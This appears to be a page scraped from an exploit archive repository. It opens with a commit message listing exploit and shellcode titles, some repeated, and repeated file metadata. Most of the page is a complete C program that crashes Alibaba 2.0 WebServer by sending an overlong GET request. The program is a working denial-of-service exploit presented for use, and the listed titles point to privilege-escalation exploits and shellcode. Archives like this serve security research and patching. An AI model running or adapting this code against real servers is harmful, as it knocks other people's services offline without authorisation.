880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
95 lines
No EOL
2.6 KiB
C
95 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/1482/info
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It is possible for a user to initiate a denial of service against Alibaba Web Server. Sending an unusually long GET request (> 8000 bytes) to the server will cause the service to stop responding. A restart of the server service is required in order to gain normal functionality.
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/*
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Description: DoS against Alibaba 2.0 WebServer by wildcoyote
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Comments : Based on advisorie by Prizm<Prizm@RESENTMENT.org>
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Platforms : Alibaba runs on Win95/98/NT
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Flamez to : wildcoyote@coders-pt.org
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*/
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#include <netdb.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <unistd.h>
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#include <string.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <errno.h>
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int
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openhost(char *host,int port) {
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int sock;
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struct sockaddr_in addr;
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struct hostent *he;
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he=gethostbyname(host);
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if (he==NULL) {
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perror("gethostbyname()");
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exit(-1); }
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sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
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if (sock==-1) {
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perror("socket()");
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exit(-1); }
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memcpy(&addr.sin_addr, he->h_addr, he->h_length);
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addr.sin_family=AF_INET;
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addr.sin_port=htons(port);
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if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
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sock=-2; }
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return sock;
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}
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void
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sends(int sock,char *buf) {
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write(sock,buf,strlen(buf));
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}
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void
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DoS(char *host, int port)
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{
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int sock,i;
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char *buf;
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printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
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printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
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sock=openhost(host,port);
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if(sock<=0) {
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printf("- Could not connect -\n");
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printf("Exiting...\n\n");
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exit(-1);
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}
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else printf("Connected to %s (%d)\n",host,port);
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printf("Allocating memory for DoS\n");
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buf = (char *) malloc(8200); // it takes 8173 bytes, but i wave mem ;)
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strcpy(buf,"GET ");
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for(i=5;i<8198;i++) strcat(buf,"A");
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strcat(buf,"\n\n");
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printf("Oh k! Sending CRASH!\n");
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sends(sock,buf);
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close(sock);
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free(buf);
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printf("Crash sent! The host *probably* crashed :P\n");
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printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
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}
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main(int argc, char *argv[])
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{
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int sock,i;
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if (argc<2) {
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printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
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printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
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printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
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}
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else if (argc==2) DoS(argv[1],80);
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else DoS(argv[1],atoi(argv[2]));
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} |